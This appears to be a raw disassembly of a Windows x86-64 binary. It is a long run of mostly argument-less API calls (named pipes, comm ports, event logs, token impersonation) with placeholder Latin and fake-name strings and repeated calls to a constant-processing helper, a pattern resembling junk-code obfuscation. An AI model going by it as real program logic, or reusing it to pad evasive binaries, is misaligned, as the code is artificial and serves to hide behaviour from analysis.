lea rdx, str.CarmineBlanda
lea rcx, str.MyraTorphy
mov dword [r13], eax
mov rax, qword [0x004ca9a0]
mov dword [rax], 0xb2ef013e
mov rax, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov qword [rsp + 0x78], rax
call rax
xor ecx, ecx
call r14
mov rax, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x70], rax
call rax
mov r13, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
xor ecx, ecx
call r13
mov rax, qword [0x004ca1c0]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004caf20]
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor edx, edx
mov qword [rsp + 0x58], rax
call rax
mov rax, qword [0x004ca260]
mov r11, qword [rsp + 0x90]
xor ecx, ecx
mov dword [rax], 0x31a2ac72
call r11
mov rax, qword [0x004cac50]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca990]
mov dword [rax], edx
xor edx, edx
call rbp
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004ca810]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x6e1a87c7
call rdi
lea rcx, str.In_a_similique_et_repudiandae_vero_nam_nam_voluptates_pariatur
call rbx
mov rdi, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
call rdi
mov ecx, 0x30cefc3c
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca2d0]
mov dword [rdx], eax
xor edx, edx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rsi
mov rax, qword [0x004cac70]
mov ecx, dword [rax]
call fcn.00414620
xor ecx, ecx
mov dword [r15], eax
mov r15, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
call r15
mov rax, qword [0x004ca700]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cadc0]
mov dword [rax], edx
call r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x70]
call rax
lea rcx, str.SydniWiegandI
call rbx
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca4f0]
xor ecx, ecx
mov dword [rax], 0x747a4d09
mov rax, qword [rsp + 0x50]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x30], 0
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rsi
mov r10, qword [rsp + 0x88]
xor ecx, ecx
call r10
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
mov rbp, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
call rbp
mov rax, qword [0x004ca350]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca730]
xor ecx, ecx
mov dword [rdx], eax
call rbp
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rsi
mov rax, qword [0x004cad40]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004caa00]
mov dword [rax], edx
mov rax, qword [0x004cae90]
mov edx, dword [rax]
mov rax, qword [0x004ca660]
mov dword [rax], edx
mov rax, qword [rsp + 0x50]
call rax
mov r11, qword [rsp + 0x90]
xor ecx, ecx
call r11
mov ecx, 0x195813d3
call fcn.00414620
mov rdx, qword [0x004ca560]
mov r10, qword [rsp + 0x88]
xor ecx, ecx
mov dword [rdx], eax
call r10
mov rdx, qword [0x004ca5e0]
mov rax, qword [0x004ca710]
mov ecx, dword [rdx]
mov dword [rax], ecx
xor ecx, ecx
call r14
mov r11, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.Ipsam_ipsa_totam_in_laudantium_expedita
mov qword [rsp + 0x90], r11
call r11
mov rax, qword [0x004ca2d0]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004ca740]
mov dword [rcx], eax
mov ecx, 0xa522c3c8
call fcn.00414620
mov r10, qword [sym.imp.KERNEL32.dll_SetLastError]
mov rdx, qword [0x004ca5e0]
xor ecx, ecx
mov qword [rsp + 0x88], r10
mov dword [rdx], eax
call r10
xor ecx, ecx
call r15
xor edx, edx
xor ecx, ecx
call r13
mov rax, qword [0x004ca290]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca510]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca2b0]
mov dword [rax], 0xd1fa7bd8
mov rax, qword [0x004ca720]
mov dword [rax], 0xc15befef
mov rax, qword [0x004ca4f0]
mov dword [rax], 0x179467d6
mov rax, qword [0x004ca800]
mov edx, dword [rax]
mov rax, qword [0x004caaa0]
mov dword [rax], edx
call rbp
mov rax, qword [0x004ca7c0]
xor ecx, ecx
mov dword [rax], 0xfaf9a08a
mov rax, qword [0x004ca750]
mov edx, dword [rax]
mov rax, qword [0x004cae00]
mov dword [rax], edx
xor edx, edx
call r13
xor edx, edx
lea rcx, str.ZoraBuckridge
call r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov r15, qword [0x004caa30]
mov rax, qword [0x004cac50]
mov ecx, dword [r15]
mov edx, dword [rax]
mov rax, qword [0x004ca220]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004caec0]
xor ecx, ecx
mov dword [rdx], eax
call rbp
mov rax, qword [0x004ca610]
mov rdx, qword [0x004ca290]
mov ecx, dword [rax]
mov rax, qword [0x004caf20]
mov dword [rax], ecx
mov rax, qword [str.Z2iy]
mov eax, dword [rax]
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004ca9e0]
xor ecx, ecx
mov dword [rdx], eax
call rdi
xor ecx, ecx
call rdi
mov rax, qword [0x004ca300]
xor r9d, r9d
xor ecx, ecx
mov dword [r15], 0x57853375
xor r8d, r8d
mov edx, dword [rax]
mov rax, qword [0x004caaf0]
mov dword [rax], edx
mov rax, qword [0x004ca620]
xor edx, edx
mov dword [rax], 0x169f5b13
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rsi
xor r9d, r9d
mov dword [rsp + 0x20], 0
xor r8d, r8d
mov qword [rsp + 0x30], 0
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], 0
call rsi
lea rcx, str.Nihil_voluptas_numquam
call rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x70]
call rax
mov rax, qword [0x004ca720]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x571010fc
call r13
mov rax, qword [0x004ca6b0]
mov ecx, 0xf6a7e228
mov dword [rax], 0x1c486e70
call fcn.00414620
mov rdx, qword [0x004ca590]
lea rcx, str.ChanelBeatty
mov dword [rdx], eax
xor edx, edx
call r12
xor edx, edx
lea rcx, str.KellieWeber
call r12
lea rcx, str.Rerum_quos_porro_perferendis_esse_ex_sed_maxime_aut_impedit_consequuntur_dignissimos
call rbx
mov r15, qword [0x004ca570]
mov rax, qword [0x004caf10]
xor ecx, ecx
mov edx, dword [r15]
mov dword [rax], edx
call rdi
xor ecx, ecx
call r14
lea rcx, str.Modi_iusto_fugiat_nostrum_fuga_qui_quaerat_dignissimos
call rbx
mov ecx, dword [r15]
call fcn.00414620
mov rdx, qword [0x004ca330]
mov ecx, 0x53ce5cc8
mov r15, qword [0x004ca780]
mov dword [rdx], eax
mov dword [r15], 0x4b392646
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca270]
mov dword [rdx], eax
xor edx, edx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rsi
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov eax, dword [r15]
mov rsi, qword [0x004ca2d0]
xor ecx, ecx
mov r10, qword [rsp + 0x88]
mov dword [rsi], eax
call r10
mov rax, qword [0x004ca360]
mov ecx, 0xda514737
mov edx, dword [rax]
mov rax, qword [0x004ca7f0]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [str.eNl.h_Q]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca430]
mov dword [rax], 0xba1317f9
mov rax, qword [0x004ca6d0]
mov edx, dword [rax]
mov rax, qword [0x004caac0]
mov dword [rax], edx
mov rax, qword [0x004ca650]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caf30]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
lea rdx, str.AdolphusThompson
mov rax, qword [rsp + 0x78]
lea rcx, str.MaddisonRussel
call rax
mov rax, qword [0x004cad20]
mov rsi, qword [0x004ca1c0]
lea rcx, str.Eaque_debitis_tenetur_in_laboriosam
mov dword [rax], 0xd32b465b
mov rax, qword [0x004ca350]
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [0x004cabf0]
mov edx, dword [rax]
mov rax, qword [0x004ca410]
mov dword [rax], edx
xor edx, edx
call r12
mov r11, qword [rsp + 0x90]
lea rcx, str.ProfSylvesterBauch
call r11
mov rax, qword [0x004cada0]
xor ecx, ecx
mov dword [rax], 0x50d499f8
mov rax, qword [0x004cac00]
mov edx, dword [rax]
mov rax, qword [0x004ca380]
mov dword [rax], edx
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004ca9f0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caa50]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cabd0]
mov dword [rax], 0xcd073593
mov rax, qword [0x004cac20]
mov edx, dword [rax]
mov rax, qword [0x004ca790]
mov dword [rax], edx
mov rax, qword [0x004ca1b0]
mov edx, dword [rax]
mov rax, qword [0x004ca770]
mov dword [rax], edx
mov rax, qword [0x004cad50]
mov dword [rax], 0x3c01cfac
call r14
mov rax, qword [0x004ca690]
mov ecx, dword [rax]
call fcn.00414620
mov rsi, qword [0x004ca800]
mov ecx, 0xdc416b31
mov dword [rsi], eax
call fcn.00414620
mov rsi, qword [0x004ca510]
mov ecx, 0x95e8d7c0
mov dword [rsi], eax
call fcn.00414620
mov rdx, qword [0x004ca3a0]
lea rcx, str.DominiqueOndricka
mov dword [rdx], eax
call rbx
xor ecx, ecx
call rbp
xor ecx, ecx
call rdi
mov rax, qword [0x004ca7d0]
mov dword [rax], 0x9f16ac6e
mov rax, qword [0x004ca4d0]
mov edx, dword [rax]
mov rax, qword [0x004ca630]
mov dword [rax], edx
cmp dword [rsp + 0x80], 0
je 0x421a7c
mov rax, qword [0x004cacb0]
cmp dword [rax], 0
je 0x41a8e0
mov rbp, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
call rbp
mov rax, qword [0x004caa70]
mov rbx, qword [0x004ca9a0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov qword [rsp + 0x80], rax
call rax
mov rax, qword [0x004cab50]
mov rbx, qword [0x004cad60]
mov dword [rax], 0x46294502
mov rax, qword [0x004caee0]
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [0x004ca6b0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca2e0]
mov rbx, qword [0x004ca450]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cad80]
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov qword [rsp + 0x88], rax
call rax
mov r14, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.Fugiat_amet_ut
call r14
mov rax, qword [0x004ca260]
mov rdi, qword [0x004caf70]
lea rcx, str.RoseMaggioPhD
mov rbx, qword [0x004ca440]
mov eax, dword [rax]
mov dword [rdi], eax
mov rdi, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov dword [rbx], eax
mov rax, qword [0x004ca780]
mov edx, dword [rax]
mov rax, qword [0x004ca690]
mov dword [rax], edx
lea rdx, str.Doloribus_omnis_facilis_dolor_pariatur
call rdi
mov rax, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x90], rax
call rax
mov rbx, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
mov qword [rsp + 0x50], rax
call rax
mov rax, qword [0x004ca9f0]
xor ecx, ecx
mov dword [rax], 0xcae214d
mov rax, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov qword [rsp + 0x70], rax
call rax
mov ecx, 0xee790747
call fcn.00414620
mov rdx, qword [0x004ca1f0]
mov rsi, qword [0x004caab0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca700]
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [0x004ca230]
mov dword [rax], 0xc6a33b6f
mov rax, qword [0x004caf50]
mov dword [rax], 0xa2733a3b
mov rax, qword [sym.imp.KERNEL32.dll_SetEvent]
mov qword [rsp + 0xb0], rax
call rax
lea rdx, str.Neque_natus_eveniet_saepe_officia_quibusdam_architecto
lea rcx, str.NapoleonBosco
call rdi
mov rax, qword [0x004ca3b0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caed0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
mov qword [rsp + 0x58], rax
call rax
mov rax, qword [0x004ca580]
xor ecx, ecx
xor edx, edx
mov dword [rax], 0x2b0279d2
mov rax, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
mov qword [rsp + 0x60], rax
call rax
xor edx, edx
mov rsi, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor ecx, ecx
call rsi
mov r13, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.Et_et_non_veritatis_adipisci_omnis_esse
call r13
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
lea rcx, str.Voluptatem_ratione_temporibus_exercitationem_quam_et_nisi
call r13
mov rax, qword [0x004cac50]
mov ecx, 0x9e78ca9e
mov dword [rax], 0x7db3b7ac
call fcn.00414620
mov rdx, qword [0x004ca610]
mov r12, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.Voluptatem_temporibus_ad_dolore_enim_est
mov dword [rdx], eax
call r12
xor ecx, ecx
call rbp
mov rax, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x78], rax
call rax
mov rax, qword [0x004ca6a0]
lea rdx, str.MissBrielleTurnerII
lea rcx, str.Dolorum_eos_aut_voluptatum_iusto_esse_cupiditate_rerum_odio_molestiae_iure_voluptate_aut
mov dword [rax], 0x1df75f3
call rdi
lea rcx, str.MuhammadStiedemannIV
call r12
mov rax, qword [0x004cae60]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cae00]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x60]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
xor edx, edx
xor ecx, ecx
call rsi
mov rax, qword [0x004cac20]
lea rcx, str.Aut_illum_voluptas_non
mov edx, dword [rax]
mov rax, qword [0x004cada0]
mov dword [rax], edx
lea rdx, str.Harum_odio_modi_adipisci_velit_qui_et
call rdi
mov rax, qword [0x004ca310]
xor ecx, ecx
mov dword [rax], 0x5925d25a
mov rax, qword [0x004ca290]
mov edx, dword [rax]
mov rax, qword [0x004ca750]
mov dword [rax], edx
mov rax, qword [0x004ca710]
mov dword [rax], 0x878a2494
mov rax, qword [0x004ca990]
mov edx, dword [rax]
mov rax, qword [0x004caad0]
mov dword [rax], edx
mov rax, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
mov qword [rsp + 0x68], rax
call rax
mov rax, qword [0x004cabf0]
mov ecx, 0xbe93c71b
mov dword [rax], 0x883b0a46
call fcn.00414620
mov rdx, qword [0x004ca540]
mov dword [rdx], eax
xor edx, edx
xor ecx, ecx
call rbx
xor edx, edx
xor ecx, ecx
call rbx
xor edx, edx
lea rcx, str.Dolorem_culpa_quis_ut_accusantium
call r14
xor edx, edx
lea rcx, str.KeaganLoweIV
call r14
mov rax, qword [0x004ca470]
mov dword [rax], 0x92114878
mov rax, qword [0x004caa30]
mov dword [rax], 0x5957e35a
mov rax, qword [0x004ca420]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca2d0]
mov dword [rdx], eax
mov rax, qword [0x004ca7f0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cae50]
lea rcx, str.HowellQuigley
mov dword [rdx], eax
lea rdx, str.OfeliaMoen
call rdi
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov ecx, 0xbfa7e920
call fcn.00414620
mov rdx, qword [0x004ca820]
mov rcx, qword [0x004ca280]
mov dword [rdx], eax
mov rax, qword [0x004ca360]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004caa70]
mov rdx, qword [0x004ca810]
mov ecx, 0x7f4b5acd
mov eax, dword [rax]
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004ca410]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004caec0]
xor edx, edx
mov dword [rax], 0x33c7bfa6
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004ca590]
mov rcx, qword [0x004caf50]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
mov rax, qword [rsp + 0x88]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov qword [rsp + 0x98], rax
call rax
xor ecx, ecx
call rbp
mov rax, qword [0x004ca200]
mov rdx, qword [0x004caf50]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004caea0]
mov rcx, qword [0x004caaf0]
xor r9d, r9d
mov rdx, qword [0x004ca670]
xor r8d, r8d
mov r15, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004caa80]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x78]
call rax
mov ecx, 0xa04ff98a
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004cad30]
mov dword [rdx], eax
xor edx, edx
call r15
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0xa0], rax
call rax
xor ecx, ecx
call rbp
xor ecx, ecx
mov rax, qword [rsp + 0xb0]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x98]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0xa8], rax
call rax
mov ecx, 0xe39f7e02
call fcn.00414620
mov rcx, qword [0x004ca440]
xor edx, edx
mov dword [rcx], eax
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r15
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004cad20]
mov dword [rax], 0x4fc3e149
mov rax, qword [0x004caf10]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004cadf0]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x78]
mov dword [rsp + 0x20], 0
call rax
lea rcx, str.ProfJoRenner
call r13
xor edx, edx
lea rcx, str.CandelarioBaileyJr
call r14
mov rax, qword [0x004caee0]
mov rdx, qword [0x004caf70]
mov dword [rax], 0x5ce5b618
mov rax, qword [0x004ca220]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004ca420]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004cae50]
mov r13, qword [0x004ca550]
mov r10, qword [0x004caeb0]
mov dword [rcx], eax
mov rax, qword [0x004cac00]
mov edx, dword [rax]
mov rax, qword [0x004ca2c0]
mov dword [rax], edx
mov edx, dword [r13]
mov rax, qword [0x004ca3e0]
mov dword [rax], edx
mov rax, qword [0x004ca420]
mov edx, dword [r10]
mov dword [rax], 0xc58fe0f1
mov rax, qword [0x004ca7b0]
mov dword [rax], edx
mov rax, qword [0x004ca430]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caa10]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cae80]
mov edx, dword [rax]
mov rax, qword [0x004cac80]
mov dword [rax], edx
mov rax, qword [0x004caa60]
mov dword [rax], 0xcc56d39d
mov rax, qword [rsp + 0x98]
call rax
mov rax, qword [0x004caf30]
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [0x004caab0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rax
mov rax, qword [0x004cab70]
mov rcx, qword [0x004ca720]
lea r8, str.Et_consectetur_aliquid_illum_voluptatem_nemo_asperiores_explicabo_cupiditate_maiores
mov rdx, qword [0x004ca420]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004caf00]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor edx, edx
mov qword [rsp + 0xb8], rax
call rax
mov rax, qword [0x004cad90]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004ca520]
mov rdx, qword [0x004cab70]
mov dword [rcx], eax
mov rax, qword [0x004caaf0]
lea rcx, str.JarrodGislason
mov dword [rax], 0x1475ea8
mov rax, qword [0x004ca610]
mov eax, dword [rax]
mov dword [rdx], eax
call r12
xor r8d, r8d
mov rax, qword [rsp + 0xa0]
xor edx, edx
xor ecx, ecx
call rax
mov rax, qword [0x004ca7f0]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004ca770]
xor edx, edx
mov dword [rcx], eax
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004caa80]
mov dword [rax], 0x6f53bf28
mov rax, qword [0x004ca7e0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca3b0]
mov ecx, 0x7b1eba2c
mov dword [rdx], eax
call fcn.00414620
mov rcx, qword [0x004ca7a0]
mov dword [rcx], eax
mov ecx, 0x8de4dd63
call fcn.00414620
mov rdx, qword [0x004ca5a0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbx
mov rax, qword [0x004cabe0]
mov ecx, dword [rax]
call fcn.00414620
mov r10, qword [0x004caeb0]
xor edx, edx
xor ecx, ecx
mov dword [r10], eax
call rbx
xor edx, edx
xor ecx, ecx
call rbx
mov ecx, 0x9f584f0e
call fcn.00414620
mov rdx, qword [0x004ca9b0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x70]
call rax
mov ecx, 0x943a7fd7
call fcn.00414620
mov rcx, qword [0x004caa30]
xor edx, edx
mov dword [rcx], eax
xor ecx, ecx
call rsi
mov rax, qword [0x004caf00]
mov rdx, qword [0x004ca440]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [rsp + 0x88]
call rax
mov rax, qword [0x004cacb0]
cmp dword [rax], 0x6e3b
jne 0x41a8e0
mov rax, qword [0x004ca800]
mov rcx, qword [0x004caac0]
mov rdx, qword [0x004caa60]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004cadc0]
mov ecx, 0xc8ac7057
mov eax, dword [rax]
mov dword [rdx], eax
call fcn.00414620
lea rcx, str.MrLindseyStokes
mov dword [r13], eax
mov rax, qword [0x004cadd0]
mov edx, dword [rax]
mov rax, qword [0x004cae40]
mov dword [rax], edx
mov rax, qword [0x004ca7d0]
mov edx, dword [rax]
mov rax, qword [0x004cac70]
mov dword [rax], edx
call r12
xor edx, edx
lea rcx, str.Provident_aut_rerum_modi_natus_natus
call r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r15
xor ecx, ecx
mov rax, qword [rsp + 0x88]
call rax
mov r13, qword [0x004ca5e0]
mov rax, qword [0x004ca4f0]
mov edx, dword [r13]
mov dword [rax], edx
mov rax, qword [0x004ca7a0]
mov ecx, dword [rax]
call fcn.00414620
mov r10, qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov rcx, qword [0x004ca310]
mov qword [rsp + 0xc0], r10
mov dword [rcx], eax
xor ecx, ecx
call r10
mov rax, qword [0x004cab60]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x567cd873
call rbx
mov rax, qword [0x004ca9e0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca480]
mov rcx, qword [0x004cabc0]
mov dword [rdx], eax
mov rax, qword [0x004cad70]
mov dword [rax], 0xc9d4c2ec
mov rax, qword [0x004ca7e0]
mov dword [rax], 0x3a6b7f3d
mov rax, qword [0x004caa40]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004ca760]
lea rcx, str.SandrineLangosh
mov dword [rax], 0x5cbdbd6c
mov rax, qword [0x004ca510]
mov dword [rax], 0x390adac5
mov rax, qword [0x004ca320]
mov edx, dword [rax]
mov rax, qword [0x004ca330]
mov dword [rax], edx
mov rax, qword [0x004ca6f0]
mov dword [rax], 0x8315b20e
call r12
mov rax, qword [0x004caf70]
xor ecx, ecx
mov dword [rax], 0x8dd9e034
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca350]
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [0x004ca490]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004caec0]
xor edx, edx
mov dword [rax], 0xed31d7f7
mov rax, qword [rsp + 0x78]
mov dword [rsp + 0x20], 0
call rax
mov rax, qword [0x004ca280]
mov edx, dword [rax]
mov rax, qword [0x004ca2f0]
mov dword [rax], edx
mov rax, qword [0x004cabe0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cae20]
mov rcx, qword [0x004caa90]
mov dword [rdx], eax
mov rax, qword [0x004ca540]
mov dword [rax], 0xb66e7c4c
mov rax, qword [0x004caa30]
mov eax, dword [rax]
mov dword [rcx], eax
mov ecx, 0x1b50db64
call fcn.00414620
mov rdx, qword [0x004cae50]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbx
mov ecx, 0x8dcf6f0d
call fcn.00414620
mov rcx, qword [0x004ca770]
xor edx, edx
lea r8, str.At_magni_molestiae_odit_qui_error_natus_vero_rem_dolorem
mov dword [rcx], eax
xor ecx, ecx
mov rax, qword [rsp + 0xb8]
call rax
mov rax, qword [0x004ca450]
mov rdx, qword [0x004cae60]
mov rcx, qword [0x004ca430]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004ca9e0]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004ca490]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [r13], eax
xor ecx, ecx
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rax
mov ecx, 0x6aea7e56
call fcn.00414620
mov rdx, qword [0x004ca820]
mov r13, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca670]
mov dword [rax], 0x89acf1ea
call r13
xor ecx, ecx
call r13
xor ecx, ecx
call rbp
xor ecx, ecx
mov rax, qword [rsp + 0x88]
call rax
mov r10, qword [rsp + 0xc0]
xor ecx, ecx
call r10
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
xor ecx, ecx
call rbp
mov rax, qword [0x004caa70]
mov rcx, qword [0x004ca9a0]
